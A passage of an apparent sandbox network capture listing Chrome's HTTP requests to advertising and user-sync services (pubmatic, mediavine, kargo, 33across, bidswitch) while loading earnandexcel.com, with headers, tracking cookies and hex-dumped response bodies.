2024-04-11 21:27:04 UTC	521	OUT	GET /esp.js HTTP/1.1 Host: oa.openxcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:04 UTC	778	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ABPtcPpvjP_31rHzB6gOgNJ-iOR0ZtZg-7EybnlL4ImXvR3y7FHyp3VXOgKwc3oC2z_SEfXs_yM x-goog-generation: 1622140251693895 x-goog-metageneration: 1 x-goog-stored-content-encoding: gzip x-goog-stored-content-length: 7927 Content-Encoding: gzip x-goog-hash: crc32c=f21hYg== x-goog-hash: md5=31VCuIvA42jGmZdUpbniug== x-goog-storage-class: MULTI_REGIONAL Accept-Ranges: bytes Content-Length: 7927 Server: UploadServer Date: Mon, 18 Mar 2024 08:04:44 GMT Expires: Tue, 18 Mar 2025 08:04:44 GMT Cache-Control: no-transform Age: 2121740 Last-Modified: Thu, 27 May 2021 18:30:51 GMT ETag: "df5542b88bc0e368c6999754a5b9e2ba" Content-Type: application/javascript Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:04 UTC	477	IN	Data Raw: 1f 8b 08 08 5b e5 af 60 02 ff 74 6d 70 6d 74 39 72 5f 31 74 7a 00 cd 3c 0b 7b db 36 92 7f 45 e2 75 65 62 0d d3 56 d2 47 4a 85 d1 ba ae db 64 37 89 bd b1 d3 6d 4f 51 7d b4 04 49 6c 68 52 25 21 3b ae c5 fb ed 37 33 00 48 90 a2 ec 74 9b de 5d bf c6 e2 03 18 0c 06 f3 c6 80 37 51 32 4d 6f bc f4 c3 85 c8 97 c1 6c 95 4c 64 94 26 ae 64 77 d7 61 d6 11 c1 5d 31 30 0f 3b 99 9b b0 bb 68 e6 8a 51 32 66 99 90 ab 2c e9 e0 b5 27 3e 2c d3 4c e6 03 ec 92 06 f8 28 b8 8b fc 84 c7 7e b7 cf f5 4b ff ae 28 06 ba 93 c4 4e 93 30 8e dd d4 f4 e5 29 af ae 33 06 37 71 d0 3d a8 9e 15 ba 6b e6 5d 05 92 67 de 24 10 f0 77 6a 61 cc 05 07 f4 32 2f c5 4b b6 5e 9f 5c fe 22 26 d2 9b 8a 59 94 88 d3 2c 5d 8a 4c de 52 b3 3b 91 ac ae 44 16 5e c6 c2 87 31 e6 42 fa 49 c1 0a 80 97 d5 28 e0 ac 12 d5 Data Ascii: [`tmpmt9r_1tz<{6EuebVGJd7mOQ}IlhR%!;73Ht]7Q2MolLd&dwa]10;hQ2f,'>,L(~K(N0)37q=k]g$wja2/K^\"&Y,]LR;D^1BI(
2024-04-11 21:27:04 UTC	1255	IN	Data Raw: 14 27 e9 2d c2 fc e4 26 31 c4 52 c2 80 1d 10 c6 32 70 1c 9e 01 75 f3 a0 ff 88 15 ee a8 c6 e4 19 bb 93 46 2a 60 99 a1 01 af 0f 69 c9 2b b5 e7 48 b9 88 87 d0 2f bb 25 0a e4 81 1c 45 63 37 64 7c 15 e4 1e ad 46 31 09 e5 64 81 24 d2 18 5f a7 d1 14 21 b0 22 f7 a6 69 22 86 c2 5d 31 1f 10 be 8a 72 e1 65 22 4f e3 6b 7c e4 c9 85 48 70 71 58 51 a1 65 93 5c c3 b3 c8 a8 17 61 11 e5 3c 09 c2 6c 0e ac 91 80 f6 30 ab 26 6e 3a 7a 18 d7 2d 7b c1 0c 54 c7 30 90 5e b8 5c c6 b7 2e ca 7b a5 9c 72 1a cb 0d 69 ae 39 5f 71 27 11 1f 80 f5 60 02 65 9b d5 46 1b b9 c8 d2 1b 6a 94 bb 34 e3 03 56 30 56 14 bc 9c 8b 61 84 a0 7c 62 bd ab 78 08 94 55 7d 1d 70 9d 94 f0 d4 55 4a 2e 3a c8 ee 20 7f 03 45 87 26 6b f0 2c 68 b2 07 90 c9 31 50 2a b1 55 6a 65 a8 7e 40 bd f2 34 48 bc 48 82 98 c9 34 Data Ascii: '-&1R2puF`i+H/%Ec7d\|F1d$_!"i"]1re"Ok\|HpqXQe\a<l0&n:z-{T0^\.{ri9_q'`eFj4V0Va\|bxU}pUJ.: E&k,h1PUje~@4HH4
2024-04-11 21:27:04 UTC	1255	IN	Data Raw: 2e 4f 1b 29 78 be 5e 83 62 17 b4 9a 41 69 63 70 16 52 74 88 0c dc 6e 1d 88 0a e0 09 02 6c 0c 1b 8c cc dc 9c 2c 4d a5 53 80 ce 2a 15 ef 07 42 52 a3 0a 44 14 d2 ed 1e 58 18 1e 23 40 94 9d 12 4f d0 79 c8 76 16 9f a9 e8 4c 31 e3 a6 1f ae 98 a3 16 67 77 a3 fc 75 f8 1a e4 31 16 c9 5c 2e 98 f1 07 f7 fa e0 65 96 43 0b 50 cd e8 82 0d 76 77 93 a7 a6 ed 80 51 60 ad 03 c2 84 55 58 68 55 35 4a 70 21 90 6d 03 cc ae 0c 1a ef b5 5c 9b 16 70 55 54 de 2a 31 73 54 68 d1 bb c3 5b ff d0 d2 4d 87 a5 b1 d0 0e 88 86 46 1e 08 b8 e6 46 66 63 cb 34 5e c3 4a 81 2b 9d ad 26 c0 a6 c1 82 2f 6a f7 31 8f c9 19 8b c3 5b 94 ac 20 77 17 a0 44 2b 77 f6 3b 43 4e 86 c2 9f 6f 3c 6f 89 de db 96 00 03 7a 6b 58 3d e3 6e 17 dd 23 01 9a 23 86 60 66 73 4c 78 81 aa b5 42 6f bd 06 81 87 5f d0 e5 80 ce Data Ascii: .O)x^bAicpRtnl,MSBRDX#@OyvL1gwu1\.eCPvwQ`UXhU5Jp!m\pUT1sTh[MFFfc4^J+&/j1[ wD+w;CNo<ozkX=n##`fsLxBo_
2024-04-11 21:27:04 UTC	1255	IN	Data Raw: 4f 81 7a be 13 76 26 71 98 e7 9d 10 fe 2f b7 3e 9c 4f 83 69 7d b3 b3 12 5f 58 4e 5c 3f e3 4f e3 32 1a 97 1a 17 32 f1 aa fd a8 c0 be 59 af c1 6b 4d 3c 7b 7f 0a fd 68 87 5c 68 07 1c 4e f4 9c 12 cf ec 57 c1 bb ed 5b f7 09 c6 09 1c f9 b5 9d 9e 96 bf 86 39 69 d7 de 04 04 15 9a d0 33 68 a4 e2 be 3f 69 51 2d 8d a0 1c ea e1 a7 dd cc f3 d5 c6 dc 27 99 83 2d 33 8f b7 09 07 f0 28 49 30 04 99 4a 92 25 63 96 c0 fc 69 a4 54 56 fc 9e 92 11 54 46 f0 70 a4 cb 41 8c c2 1d af d7 e6 8d bd 65 5b 56 d8 a8 c9 cc 20 ba fe 34 d8 7f 04 11 b5 a8 eb 29 e9 ea 8c 2a d9 62 91 93 eb 78 3f db d8 c6 2e a3 6a 93 3d d3 81 d7 13 be d7 37 d1 b0 73 62 f6 07 82 ac 91 c1 01 29 cb 82 da 13 95 98 e1 ce ab 70 49 1d c0 fb 39 13 aa ef b0 46 23 df 39 34 35 05 ba e1 fe cf ee d0 7f 1b ad 5f b0 44 c2 d5 Data Ascii: Ozv&q/>Oi}_XN\?O22YkM<{h\hNW[9i3h?iQ-'-3(I0J%ciTVTFpAe[V 4)*bx?.j=7sb)pI9F#945_D
2024-04-11 21:27:04 UTC	1255	IN	Data Raw: 36 75 af aa 3c 6a b4 aa 77 b4 f8 63 5b ff 87 39 b4 0e d2 c8 e2 e6 46 c2 24 5d a1 7b 90 4a d2 fc 1d d3 b0 83 bd 30 3b 83 d3 77 4a 9d f7 31 78 20 43 8e 69 b7 5c 65 00 2b 66 b7 a8 b8 75 c2 0d fa 1a d2 02 f7 6e 3a 6d 5b 40 0c b7 53 db 86 a1 84 5f 6b fe 2d 4d 40 eb 9f cc 66 c0 19 fc a1 06 bb db 1b 68 bb b1 59 29 df 8e 7e 99 df 2d d9 cf ec 7d 7f 30 f6 de 43 a9 dc 60 4a 55 da 6c b3 66 52 86 e5 db 59 d3 ec d7 9a e7 7c 8b 91 e5 c6 ba e2 fa 92 59 fd dd 5c db 9e 53 df b0 a0 30 a0 95 73 35 59 59 98 d9 c1 20 a9 d2 77 c9 ee 2e cb f0 58 91 d6 8c 18 e9 1f 81 18 1f 81 40 ab e3 48 d5 89 8c 5f d2 28 71 b1 66 7c 1b c9 3f 95 b4 e0 ba 6c 97 96 ba 8c 80 84 2c 8d 92 99 19 5b d9 5e 91 40 eb 6d b8 e0 b4 e4 82 5f 72 bb 18 66 7b 8f bf 9f 9d bc f6 96 a8 e1 b4 54 16 73 4b a1 2a 8f b2 Data Ascii: 6u<jwc[9F$]{J0;wJ1x Ci\e+fun:m[@S_k-M@fhY)~-}0C`JUlfRY\|Y\S0s5YY w.X@H_(qf\|?l,[^@m_rf{TsK*
2024-04-11 21:27:04 UTC	1255	IN	Data Raw: ca 1a 55 2a e7 41 28 67 d5 de 93 7b d6 ea 3f 8b 3c 0f e7 58 45 a7 ea c3 f0 10 80 d0 41 86 42 55 6a 3f 03 10 99 bc 47 a5 83 bf e0 c6 6c 2b 84 a7 5e 36 d7 9c d9 5c 63 9d 3d 38 ab f4 c8 cb da 69 fc f6 64 b6 75 54 58 b3 34 ee 6e 53 0d a3 32 8d 60 db f4 95 17 5e a6 99 ac d2 ed 09 69 eb 33 f0 9f d4 73 70 1c e9 8a 50 75 f4 f6 64 44 60 7f 7c f5 f2 b9 94 cb 37 ca da 0d 6a e7 f4 22 05 17 14 7d d4 92 53 37 71 7f 12 98 35 8b 5a 58 3d 6a e3 73 17 6b 13 c1 8c 1c c6 f1 1b 91 83 ba cd c5 73 f5 ca a5 dd 26 9d 07 c0 63 37 95 26 cf 86 ef 92 d1 3b d9 19 1b 95 6e ac c3 3b 98 12 46 29 ad f5 f9 07 54 15 68 d8 d3 79 97 38 b8 71 92 af 2e 61 59 dc 3e 2f 0b af f0 f3 0f 5b 4c 52 c3 18 f9 0d 63 a4 0c 9b 4a 79 e8 f5 32 a6 08 9a 9a d7 a5 f9 a1 4f 13 90 59 01 5e 4e 48 e3 39 99 26 c2 db Data Ascii: U*A(g{?<XEABUj?Gl+^6\c=8iduTX4nS2`^i3spPudD`\|7j"}S7q5ZX=jsks&c7&;n;F)Thy8q.aY>/[LRcJy2OY^NH9&
2024-04-11 21:27:04 UTC	1175	IN	Data Raw: 77 72 e0 97 df a0 00 2f e3 39 a6 e0 e9 60 cf 13 7d 04 cb 54 c5 04 ed 91 14 29 bb 1b f5 65 c1 8b 8b 55 be 0c 97 d1 d0 fd cc 23 5e 73 9d b7 67 d0 27 ba 0e 27 b7 9d 38 ba cc c2 ec 16 3f 6b b0 c4 13 a8 09 7e d0 c0 74 71 b1 f0 f3 ed d9 29 15 30 f2 3e 6f 84 6a c9 f0 1f 6e e6 41 53 c5 61 10 66 b8 cc b7 46 c9 45 d6 59 84 ea 7b 09 f3 08 cc 2f b1 2a 0c e1 e1 47 13 5c f0 c9 98 2f e8 e4 30 04 23 f4 ab 37 23 1f 9a 90 9c cc ea 13 3a 3f fa ee f0 f4 45 fb 64 1a bd 68 4e e7 47 6a 4a 8f 36 a7 d4 cd bc f9 74 99 1d a2 c7 26 c0 bd ca 3c 40 7c 9a 66 9e c6 3d 1f 7d f9 f5 18 4f d0 2d 57 d9 32 cd 45 f5 bc 3f fe b7 09 c0 11 68 45 85 e4 a3 a8 30 b9 5a 5a 24 38 7a 75 fa c0 fc a1 3d 4d fe 07 9a cf 91 46 db a1 b1 6d 3a b0 bb 26 0d 48 41 18 42 1c d5 e8 a0 5f 69 62 1c fd 21 5a d8 8c f0 Data Ascii: wr/9`}T)eU#^sg''8?k~tq)0>ojnASafFEY{/*G\/0#7#:?EdhNGjJ6t&<@\|f=}O-W2E?hE0ZZ$8zu=MFm:&HAB_ib!Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
452	192.168.2.17	50268	104.36.113.111	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	1041	OUT	GET /AdServer/SPug?partnerID=157108&gdpr=0&gdpr_consent=&us_privacy=1--- HTTP/1.1 Host: simage4.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; PugT=1712870821
2024-04-11 21:27:04 UTC	408	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:03 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: SPugT=1712870823; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:03 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
453	192.168.2.17	50301	34.117.239.71	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	999	OUT	GET /match?liv=h&us_privacy=1---&bidder_id=90&external_user_id=4283912458326592098 HTTP/1.1 Host: events-ssc.33across.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: check=true; 33x_ps=u%3D212556691801834%3As1%3D1712870819534%3Ats%3D1712870819534
2024-04-11 21:27:04 UTC	257	IN	HTTP/1.1 200 OK content-type: image/png cache-control: no-cache, no-store, max-age=0, must-revalidate Content-Length: 68 Date: Thu, 11 Apr 2024 21:27:04 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:04 UTC	68	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 0b 49 44 41 54 78 da 63 60 00 02 00 00 05 00 01 e9 fa dc d8 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRIDATxc`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
454	192.168.2.17	50281	35.170.134.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	640	OUT	GET /api/v1/dsync/mediavine?exid=3a6574e0-f84a-11ee-a9d1-333cefc92741us_privacy=1---&r=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dkargo%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D%24UID HTTP/1.1 Host: crb.kargo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ktcid=12d186d5-c065-0a8a-5399-4c540288d0a1
2024-04-11 21:27:04 UTC	660	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 208 Connection: close Cache-Control: no-cache, no-store, must-revalidate, private, max-age=0 Expires: Thu, 01 Jan 1970 00:00:00 UTC Location: https://exchange.mediavine.com/usersync/redirect?partner=kargo&partnerId=76e6eb3f-3d6a-4a1c-9c6e-d9faf122b0a2&s2sVersion=production&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741 Pragma: no-cache Set-Cookie: ktcid=12d186d5-c065-0a8a-5399-4c540288d0a1; Path=/; Domain=kargo.com; Expires=Fri, 11 Apr 2025 21:27:04 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None Vary: Origin X-Accel-Expires: 0
2024-04-11 21:27:04 UTC	208	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 78 63 68 61 6e 67 65 2e 6d 65 64 69 61 76 69 6e 65 2e 63 6f 6d 2f 75 73 65 72 73 79 6e 63 2f 72 65 64 69 72 65 63 74 3f 70 61 72 74 6e 65 72 3d 6b 61 72 67 6f 26 61 6d 70 3b 70 61 72 74 6e 65 72 49 64 3d 37 36 65 36 65 62 33 66 2d 33 64 36 61 2d 34 61 31 63 2d 39 63 36 65 2d 64 39 66 61 66 31 32 32 62 30 61 32 26 61 6d 70 3b 73 32 73 56 65 72 73 69 6f 6e 3d 70 72 6f 64 75 63 74 69 6f 6e 26 61 6d 70 3b 75 75 69 64 3d 33 61 36 35 37 34 65 30 2d 66 38 34 61 2d 31 31 65 65 2d 61 39 64 31 2d 33 33 33 63 65 66 63 39 32 37 34 31 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://exchange.mediavine.com/usersync/redirect?partner=kargo&partnerId=76e6eb3f-3d6a-4a1c-9c6e-d9faf122b0a2&s2sVersion=production&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
455	192.168.2.17	50292	8.28.7.81	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	1792	OUT	GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=62308046&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; SPugT=1712870822; KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; KRTBCOOKIE_279=22890-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23011-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23355-d3c52a71-4626-42f8-b765-7c4caff9dd34; PugT=1712870821
2024-04-11 21:27:04 UTC	959	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Set-Cookie: chkChromeAb67Sec=2; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: pi=0:4; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Set-Cookie: DPSync3=1714003200%3A261_260_259_201_263_262%7C1712880000%3A248%7C1713398400%3A265; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Set-Cookie: SyncRTB3=1713657600%3A63%7C1714003200%3A48_233_71_220_13_54_231_22_178_8_104_5_55_250_21_166_3_165%7C1713398400%3A15_2_223; domain=pubmatic.com; path=/; max-age=7776000; SameSite=None; secure; Date: Thu, 11 Apr 2024 21:27:03 GMT Content-Length: 1940 Connection: close
2024-04-11 21:27:04 UTC	1940	IN	Data Raw: 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 74 68 72 74 6c 65 2e 63 6f 6d 2f 69 6e 73 79 6e 63 3f 76 78 69 69 5f 70 69 64 3d 31 30 30 36 37 26 76 78 69 69 5f 70 64 69 64 3d 32 35 46 39 35 34 39 45 2d 31 33 36 41 2d 34 37 45 39 2d 39 31 37 31 2d 44 41 34 34 43 30 45 30 44 35 45 33 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 27 29 3b 50 75 62 4d 61 74 69 63 2e 6c 6f 61 64 41 73 79 6e 63 49 6d 61 67 65 50 69 78 65 6c 28 27 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 34 30 32 34 35 31 39 33 26 76 61 6c 3d 32 35 46 39 35 34 39 45 2d 31 33 36 41 2d 34 37 45 39 2d 39 31 37 31 2d 44 41 34 34 43 30 45 30 44 35 45 Data Ascii: PubMatic.loadAsyncImagePixel('https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://us-u.openx.net/w/1.0/sd?id=540245193&val=25F9549E-136A-47E9-9171-DA44C0E0D5E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
456	192.168.2.17	50305	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	1040	OUT	GET /usersync/redirect?partner=sovrn&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=IebHALZHwpD5VNKxRXavSHiL HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:04 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
457	192.168.2.17	50294	18.214.197.65	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	1045	OUT	GET /usersync/redirect?partner=thirty_three_across&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId=212556691801834 HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:04 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
458	192.168.2.17	50296	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:04 UTC	815	OUT	GET /sync?ssp=pubmatic&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=4a756380-b7e0-40d8-87fd-f9b0074cc705; c=1712870820; tuuid_lu=1712870821
